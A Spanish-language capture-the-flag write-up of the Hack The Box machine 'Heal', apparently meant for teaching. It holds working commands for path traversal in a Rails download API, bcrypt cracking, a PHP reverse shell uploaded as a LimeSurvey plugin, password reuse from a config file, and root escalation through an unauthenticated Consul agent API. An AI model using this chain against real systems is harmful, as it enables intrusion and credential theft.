Descripción
Heal es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Cruce de directorios en una aplicación web Ruby on Rails
- Volcado de una base de datos en una aplicación web Ruby on Rails
- Contraseña débil encontrada en el volcado de base de datos permite el acceso a la aplicación de LimeSurvey
- Ejecución de comandos remotos utilizando la aplicación LimeSurvey y la subida de un plugin malicioso.️
- Pivote de usuario mediante el uso de una contraseña reutilizada desde un archivo de configuración de LimeSurvey
- Escalada de privilegios mediante el abuso de una instancia débil de Consul que permite la ejecución de comandos
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.30.209.
$ ping -c 3 10.129.30.209
PING 10.129.30.209 (10.129.30.209) 56(84) bytes of data.
64 bytes from 10.129.30.209: icmp_seq=1 ttl=63 time=47.2 ms
64 bytes from 10.129.30.209: icmp_seq=2 ttl=63 time=47.5 ms
64 bytes from 10.129.30.209: icmp_seq=3 ttl=63 time=47.6 ms
--- 10.129.30.209 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.216/47.424/47.588/0.155 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.30.209 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.30.209
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.08 seconds
Encontramos dos puertos abiertos: 22 y 80.
Enumeración️
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.30.209 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.30.209
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.79 seconds
Encontramos dos servicios: un Secure Shell (SSH) y otro Hypertext Transfer Protocol (HTTP). Dado que no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Podemos ver que el servicio HTTP se redirecciona a heal.htb. Por lo tanto, agregamos esta dirección a la archivo /etc/hosts.
$ echo "10.129.30.209 heal.htb" | sudo tee -a /etc/hosts
Encontramos un servicio en el que se pueden crear currículums profesionales. Podemos iniciar sesión o crear una cuenta. Vamos a crear una nueva cuenta.️
Para el registro, la interfaz de usuario llama a un método de API ubicado en el subdominio api.heal.htb, por lo que lo agregamos al archivo /etc/hosts.️
$ echo "10.129.30.209 api.heal.htb" | sudo tee -a /etc/hosts
Después de registrarse, obtenemos una sesión en el sitio web. Se pueden rellenar los datos y al final de la página tenemos el botón EXPORT AS PDF, que se puede utilizar para generar un archivo PDF con el currículum.️
Antes de generar el currículum, comprobamos que en la parte superior de la página tenemos el botón SURVEY que nos lleva al enlace http://take-survey.heal.htb/index.php/552933?lang=en. Por lo tanto, agregamos la subdominio a archivo hosts.️
$ echo "10.129.30.209 take-survey.heal.htb" | sudo tee -a /etc/hosts
Cuando generamos el archivo PDF, encontramos el enlace de descarga, http://api.heal.htb/download?filename=e07dea046232edc4a02e.pdf. El endpoint filename está apuntando al archivo e07dea046232edc4a02e.pdf en el parámetro filename. Al realizar un reconocimiento de la aplicación api, encontramos que es una aplicación web de Ruby on Rails 7.1.4.️
$ whatweb api.heal.htb
http://api.heal.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.30.209], Title[Ruby on Rails 7.1.4], UncommonHeaders[x-content-type-options,x-permitted-cross-domain-policies,referrer-policy,x-request-id], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0], nginx[1.18.0]
Explotación️
Nos aseguramos de que el parámetro filename de la API de descarga está expuesto a una vulnerabilidad de cruce de directorios, lo que permite la recuperación del archivo /etc/passwd. Encontramos como usuarios de consola a root, ron y ralph.️
$ curl -s -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' --path-as-is 'http://api.heal.htb/download?filename=../../../../../../etc/passwd' | grep bash
root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash
Como esta es una aplicación de Ruby on Rails, podemos comprobar si existe un código de muestra de aplicación en Github, como este para buscar archivos de configuración. Encontramos que el archivo ../config/database.yml existe.️
$ curl -s -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' --path-as-is 'http://api.heal.htb/download?filename=../../config/database.yml'
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
El archivo de la base de datos está guardado en el archivo storage/development.sqlite3. Vamos a descargarlo.️
$ curl -s -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' --path-as-is 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' -o development.sqlite3
Somos capaz de recuperar la contraseña en forma de hash de ralph en la base de datos, desde la tabla users, $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG.
$ sqlite3 development.sqlite3
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables
ar_internal_metadata token_blacklists
schema_migrations users
sqlite> select * from users;
1|ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG|2024-09-27 07:49:31.614858|2024-09-27 07:49:31.614858|Administrator|ralph|1
Podemos romper la contraseña utilizando John The Ripper.️
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369 (ralph)
1g 0:00:00:04 DONE 0.2341g/s 134.8p/s 134.8c/s 134.8C/s 12345678910..parola
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña para el usuario ralph en la aplicación de API web, 147258369. Pasando al enlace de encuesta take-survey encontramos que podemos completar una encuesta de una pregunta.️
Podemos acceder al panel de administración utilizando el enlace http://take-survey.heal.htb/index.php/admin/authentication/sa/login. Necesitamos credenciales para iniciar sesión, y las encontradas previamente para el usuario ralph son válidas.️
Accedemos al panel de administración del aplicativo web LimeSurvey. Al final del panel podemos encontrar la versión de LimeSurvey utilizada es la 6.6.4.️
Podemos obtener ejecución de comandos remotos subiendo un plugin malicioso a la aplicación web. Primero vamos a crear el manifiesto del plugin en el archivo config.xml:️
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>Lime</name>
<type>plugin</type>
<creationDate>2024-06-01</creationDate>
<lastUpdate>2024-06-01</lastUpdate>
<author>Heal</author>
<authorUrl>https://heal.htb/</authorUrl>
<supportUrl>https://heal.htb/</supportUrl>
<version>1.0</version>
<license>Heal</license>
<description>
<![CDATA[Author : Lime]]></description>
</metadata>
<compatibility>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
Luego copiamos un archivo de reversa de concha PHP y lo editamos con nuestros parámetros de dirección IP y puerto.️
$ cp /usr/share/webshells/php/php-reverse-shell.php .
Después de eso, empaquetamos los dos archivos en un archivo ZIP.️
$ zip plugin.zip config.xml php-reverse-shell.php
Podemos subir finalmente el plugin al LimeSurvey pero primero necesitamos abrir un puerto de escucha en nuestra máquina.️
$ nc -nvlp 1234
Luego, en la consola de navegación podemos movernos a la sección Configuration > Plugins.️
Hacemos clic en el botón Upload & install y subimos el plugin malicioso haciendo clic en Install.️
Podemos desencadenar la vulnerabilidad ejecutando el archivo PHP.️
$ curl 'http://take-survey.heal.htb/upload/plugins/Lime/php-reverse-shell.php'
Recibimos una consola como el usuario www-data.️
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.129.30.209] 33178
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
00:04:22 up 2 days, 11:36, 0 users, load average: 0.13, 0.05, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Explotación️
Enumerando archivos, encontramos el archivo de configuración para LimeSurvey en el archivo /var/www/limesurvey/application/config/config.php.️
www-data@heal:/$ cat /var/www/limesurvey/application/config/config.php
...
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
Encontramos las credenciales de la base de datos PostgreSQL survey, con el nombre de usuario db_user y contraseña AdmiDi0_pA$$w0rd. Encontramos que la contraseña se utiliza nuevamente para el usuario roy en la máquina, por lo que podemos acceder mediante SSH.️
$ ssh ron@heal.htb ...
ron@heal:~$ id
uid=1001(ron) gid=1001(ron) groups=1001(ron)
Con la sesión de ron podemos enumerar los procesos que están ejecutándose en el sistema. Encontramos uno interesante, consul.️
ron@heal:~$ ps -ef | grep root
...
root 994 1 0 Dec12 ? 00:21:43 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
...
Consul es una solución de red de servicios para automatizar la configuración de redes, descubrir servicios y habilitar conectividad segura en cualquier nube o entorno de ejecución. Si no se configura correctamente es posible ejecutar comandos fácilmente como el propietario del proceso tal como se muestra aquí. Deberíamos tener un token ACL pero vamos a ejecutar el comando sin él. Primero, crearemos el archivo /tmp/exploit.sh que copiará y hará SUID del archivo de binario Bash en el directorio /tmp.️
ron@heal:~$ echo -e 'cp /bin/bash /tmp/suid-bash;chmod u+s /tmp/suid-bash' > /tmp/exploit.sh
Luego enviamos la solicitud para ejecutar el comando al servicio de localhost en el puerto 8500, que está en ejecución.️
ron@heal:~$ ss -tulnp | grep 8500
tcp LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
ron@heal:~$ curl --header "X-Consul-Token: notoken" --request PUT -d '{"ID": "test", "Name": "test", "Address": "127.0.0.1", "Port": 80, "check": {"Args": ["/usr/bin/bash", "/tmp/exploit.sh"], "interval": "10s", "timeout": "1s"}}' http://127.0.0.1:8500/v1/agent/service/register
Después de unos segundos, encontramos que se ha creado el binario Bash SUID, podemos ejecutarlo para obtener una sesión de root.️
ron@heal:~$ ls /tmp/suid-bash
/tmp/suid-bash
ron@heal:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1001(ron) gid=1001(ron) euid=0(root) groups=1001(ron)
Flags
En la consola de root podemos recuperar las banderas de user y root.️
suid-bash-5.1# cat /home/ron/user.txt
<REDACTED>
suid-bash-5.1# cat /root/root.txt
<REDACTED>